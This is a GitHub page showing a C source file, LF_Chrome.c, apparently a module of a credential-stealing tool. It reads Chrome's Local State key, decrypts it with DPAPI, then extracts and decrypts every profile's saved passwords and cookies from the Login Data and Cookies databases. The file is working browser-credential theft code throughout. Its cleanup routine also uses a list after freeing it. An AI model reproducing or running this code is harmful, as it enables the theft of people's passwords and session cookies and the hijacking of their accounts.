-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathLF_Chrome.c
251 lines (214 loc) · 7.18 KB
/
LF_Chrome.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
#include "LF_Crypter.c"
#include "LF_SQLite.c"
#include "LF_Utils.c"
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#define LF_CHROME_MAX_PROFILES 10
// _A_ = append to ... path
#define LF_CHROME__USERDATA_PATH "\\Google\\Chrome\\User Data"
#define LF_CHROME__LOCALSTATE_A_PATH "\\Local State"
#define LF_CHROME__LOGIN_DATA_A_PATH "\\Login Data"
#define LF_CHROME__COOKIES_A_PATH "\\Network\\Cookies"
struct LF_Chrome_login_data_struct
{
char *action_url;
char *username_value;
char *password_value;
};
struct LF_Chrome_cookie_data_struct
{
char *host_key;
char *name;
char *value;
};
struct LF_Chrome_profile_data_struct
{
char *path;
struct LF_Utils_arraylist_struct *login_data_list;
struct LF_Utils_arraylist_struct *cookie_data_list;
};
struct LF_Chrome_data_struct
{
struct LF_Utils_arraylist_struct *profile_data_list;
};
void
LF_Chrome__get_userdata_path (char *out)
{
char *appdata_path = getenv ("LOCALAPPDATA");
strcpy (out, appdata_path);
strcat (out, LF_CHROME__USERDATA_PATH);
}
void
LF_Chrome__get_localstate_path (char *userdata_path, char *out)
{
strcpy (out, userdata_path);
strcat (out, LF_CHROME__LOCALSTATE_A_PATH);
}
void
LF_Chrome__get_login_data_path (char *profile_path, char *out)
{
strcpy (out, profile_path);
strcat (out, LF_CHROME__LOGIN_DATA_A_PATH);
}
void
LF_Chrome__get_cookies_path (char *profile_path, char *out)
{
strcpy (out, profile_path);
strcat (out, LF_CHROME__COOKIES_A_PATH);
}
char *
LF_Chrome__get_encryption_key (char *localstate_path, int *len)
{
int buf_len = 4096;
char buf[buf_len];
LF_Utils_read_file (localstate_path, buf, buf_len);
const char *key_start = "\"encrypted_key\":\"";
const char *key_end = "\"";
char *encryption_key
= LF_Utils_find_str_in_range (buf, key_start, key_end, len);
if (encryption_key == NULL)
{
fprintf (stderr, "unable to find encryption key\n");
exit (-1);
}
return encryption_key;
}
void
LF_Chrome__profile_search_callback (char *dir_path, WIN32_FIND_DATA ffd,
void *data)
{
if (!(ffd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY))
{
return;
}
if (strncmp (ffd.cFileName, "Profile", 7) != 0
&& strncmp (ffd.cFileName, "Default", 7) != 0)
{
return;
}
char folder_path[MAX_PATH];
strcpy (folder_path, dir_path);
strcat (folder_path, "\\");
strcat (folder_path, ffd.cFileName);
LF_Utils_arraylist_add ((struct LF_Utils_arraylist_struct *)data,
strdup (folder_path));
}
void
LF_Chrome__login_data_db_search_callback (
char *decrypted_key, void *data, struct LF_SQLite_entry_struct *entries)
{
struct LF_Chrome_login_data_struct *login_data
= malloc (sizeof (struct LF_Chrome_login_data_struct));
// are those strdup's free'd?
login_data->action_url = strdup (entries[0].value);
login_data->username_value = strdup (entries[1].value);
char *password_value = entries[2].value;
int password_value_len = entries[2].value_len;
char *iv = NULL;
char *tag = NULL;
int tag_len = 0;
LF_Crypter_separate_iv_tag (password_value, password_value_len, &iv, &tag,
&tag_len);
login_data->password_value
= LF_Crypter_decrypt_aes_256_gcm (decrypted_key, iv, tag, tag_len);
free (iv);
free (tag);
LF_Utils_arraylist_add ((struct LF_Utils_arraylist_struct *)data,
login_data);
}
void
LF_Chrome__cookies_db_search_callback (char *decrypted_key, void *data,
struct LF_SQLite_entry_struct *entries)
{
struct LF_Chrome_cookie_data_struct *cookie_data
= malloc (sizeof (struct LF_Chrome_cookie_data_struct));
cookie_data->host_key = strdup (entries[0].value);
cookie_data->name = strdup (entries[1].value);
char *encrypted_value = entries[2].value;
int encrypted_value_len = entries[2].value_len;
char *iv = NULL;
char *tag = NULL;
int tag_len = 0;
LF_Crypter_separate_iv_tag (encrypted_value, encrypted_value_len, &iv, &tag,
&tag_len);
cookie_data->value
= LF_Crypter_decrypt_aes_256_gcm (decrypted_key, iv, tag, tag_len);
free (iv);
free (tag);
LF_Utils_arraylist_add ((struct LF_Utils_arraylist_struct *)data,
cookie_data);
}
void
LF_Chrome__populate_profile_arraylist (char *userdata_path,
struct LF_Utils_arraylist_struct *out)
{
struct LF_Utils_arraylist_struct *profile_path_list
= LF_Utils_arraylist_new_default ();
LF_Utils__loop_through_dir (userdata_path,
LF_Chrome__profile_search_callback,
(void **)&profile_path_list);
for (int i = 0; i < profile_path_list->length; i++)
{
char *profile_path = LF_Utils_arraylist_get (profile_path_list, i);
struct LF_Chrome_profile_data_struct *profile_data
= malloc (sizeof (struct LF_Chrome_profile_data_struct));
profile_data->path = profile_path;
LF_Utils_arraylist_add (out, profile_data);
}
}
void
LF_Chrome_populate_data (struct LF_Chrome_data_struct *out)
{
char userdata_path[MAX_PATH];
LF_Chrome__get_userdata_path (userdata_path);
char localstate_path[MAX_PATH];
LF_Chrome__get_localstate_path (userdata_path, localstate_path);
int encryption_key_len;
char *encryption_key
= LF_Chrome__get_encryption_key (localstate_path, &encryption_key_len);
int decrypted_key_len;
char *decrypted_key = LF_Crypter_decrypt_dpapi (
encryption_key, encryption_key_len, &decrypted_key_len);
out->profile_data_list = LF_Utils_arraylist_new_default ();
LF_Chrome__populate_profile_arraylist (userdata_path,
out->profile_data_list);
for (int i = 0; i < out->profile_data_list->length; i++)
{
struct LF_Chrome_profile_data_struct *profile_data
= LF_Utils_arraylist_get (out->profile_data_list, i);
profile_data->login_data_list = LF_Utils_arraylist_new_default ();
profile_data->cookie_data_list = LF_Utils_arraylist_new_default ();
char login_data_path[MAX_PATH];
LF_Chrome__get_login_data_path (profile_data->path, login_data_path);
char cookies_path[MAX_PATH];
LF_Chrome__get_cookies_path (profile_data->path, cookies_path);
{
const char *sql
= "SELECT action_url, username_value, password_value FROM logins";
LF_SQLite_exec (login_data_path, sql,
LF_Chrome__login_data_db_search_callback,
decrypted_key, profile_data->login_data_list);
}
{
const char *sql
= "SELECT host_key, name, encrypted_value FROM cookies";
LF_SQLite_exec (cookies_path, sql,
LF_Chrome__cookies_db_search_callback, decrypted_key,
profile_data->cookie_data_list);
}
}
free (encryption_key);
free (decrypted_key);
}
void
LF_Chrome_free_data (struct LF_Chrome_data_struct *out)
{
LF_Utils_arraylist_free (out->profile_data_list);
for (int i = 0; i < out->profile_data_list->length; i++)
{
LF_Utils_arraylist_free (
(struct LF_Utils_arraylist_struct *)LF_Utils_arraylist_get (
out->profile_data_list, i));
}
}